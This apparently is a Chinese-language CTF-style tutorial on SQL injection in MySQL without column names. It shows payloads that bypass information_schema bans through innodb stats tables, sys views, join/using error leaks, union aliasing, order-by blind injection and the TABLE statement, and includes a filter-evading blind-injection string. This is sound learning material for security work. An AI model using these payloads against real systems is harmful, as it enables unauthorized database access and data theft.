无列名注入
sql注入一般都会用到information_schema这个库(mysql自带的库),所以ban掉这个表是一个很好的防御手段,这时候就可以使用无列名注入来绕过。
InnoDb引擎
mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_stats和innodb_table_stats两张表
这两张表记录了数据库和表的信息,但是没有列名
1
2
|
select group_concat(database_name) from mysql.innodb_index_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
|
sys库
MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。
sys.schema_auto_increment_columns
这个视图用于保存有自增字段的数据库信息,一般设计表时都会设置自增字段(如id)
1
2
3
4
|
#查询数据库名
select table_schema from sys.schema_auto_increment_columns
#查询表名
select table_name from sys.schema_auto_increment_columns where table_schema=databse()
|
schema_table_statistics_with_buffer
不存在自增字段时使用schema_table_statistics_with_buffer
1
2
3
4
5
6
|
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();
|
无列名注入
上述的innodb引擎的表和sys库的表都无法查到列名,这里就需要使用无列名注入。
join、using
join用于合并两个表,using表示使用什么字段进行连接,用using指定了连接字段则查询结果只返回连接字段
1
|
select * from user as b join user using(id) as c
|
这里使用id进行连接,只会返回id列
思路:利用join合并同一表,报错重复的列名,再利用using爆出所有的列名,union select需要前后查询的字段数一样,不然会报错
1
2
3
4
5
6
7
8
|
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
|
子查询
利用union联合查询构造列名
1
|
select 1,2,3,4 union select * from users
|
1
2
3
|
select `2` from (select 1,2,3,4 union select * from users)a
select a.2 from (select 1,2,3,4 union select * from users)a
#记得第一个2加反引号,或者使用a.2
|
1
2
3
4
5
|
select * from user where id='-1' union select 1,2,group_concat(`3`) from (select 1,2,3 union select * from user)x;
select * from user where id='-1' union select 1,2,group_concat(x.3) from (select 1,2,3 union select * from users)x;
select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;
|
order by盲注
order by对结果进行排序:0-9 a-z,不区分大小写
1
2
3
|
select * from user where id='id' union select 1,2,'o' order by 3;
select * from user where id='id' union select 1,2,'p' order by 3;
select * from user where id='id' union select 1,2,'q' order by 3;
|
不使用表名查询
正常的 sql 查询如下:
其中,列名为 id、name、password,使用 union 查询:
1
|
select 1,2,3 union select * from admin;
|
如图,我们的列名被替换为了对应的数字。也就是说,我们可以继续数字来对应列,如 3 对应了表里面的 password:
1
|
select `3` from (select 1,2,3 union select * from admin)a;
|
末尾的 a 可以是任意字符,用于命名。
当然,多数情况下,` 会被过滤。当 ```不能使用的时候,使用别名来代替:
1
|
select b from (select 1,2,3 as b union select * from admin)a;
|
同时查询多个列:
1
|
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;
|
payload
1
|
select a,b from posts where a=-1 union select 1,(select concat(`3`,0x2d,`4`) from (select 1,2,3,4,5,6 union select * from xxx)a limit 1,1);
|
盲注
1
|
((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))
|
无select
mysql 8.0.19
新增语句table
可以把table t
简单理解成select * from t
,和select
的区别在于
table
总是显示表的所有列
table
不允许任何的行过滤;也就是说,TABLE
不支持任何WHERE
子句。
可以用来盲注表名
1
2
|
admin'and\x0a(table\x0ainformation_schema.TABLESPACES_EXTENSIONS\x0alimit\x0a7,1)>
(BINARY('{}'),'0')#
|
同时代替select
被过滤导致只能同表查询的问题